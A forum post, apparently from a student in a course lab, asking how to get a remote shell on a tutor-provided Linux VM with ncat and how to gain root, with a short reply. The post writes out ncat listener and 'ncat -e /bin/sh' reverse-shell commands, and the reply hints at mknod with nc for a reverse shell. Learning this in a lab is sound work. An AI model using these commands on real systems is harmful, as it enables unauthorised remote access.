Shell in a remote host with ncat

Hello world!

In one of the college courses named “Data security and risk” we are learning about open shells and protect host against foreign instruction. So, we order to open a remote shell with ncat command in a cloud virtual machine(created by tutors) who doesn’t fund on the same network, open a shell and later gives some recomendation. In order to fullfill this task, I used the command ncat -lvp 200***** 225(Ipv4 adreses) 443 and return me the following message: ncat: establish conection to 200*****225 Great! But when I executed the shell with ncat -e /bin/sh 443 the conection dont open the shell.

I’m confident that the target is outside the home network. So the best recomended option is ngrok. But I dont know how can be useful for me nor to use it. Anyone can explain me how to open the shell in the target?

The vm os is a linux distribution that use linux kernel 4.4x(probably ubuntu 16.04 and Debian) does anyone know how to gain root access like to open a terminal shell and execute commands in terminal?

The profesor told me that I had to set a exploit or a buffer in vm to gain access. How can I do this?

Pd: The vm has a nginx server for if worth for something


The -e option isn’t available in all versions/editions of netcat, so you won’t always be able to use it that way.

There is a way to use the mknod command in conjunction with nc to get a reverse shell. A quick search should return some resources for you.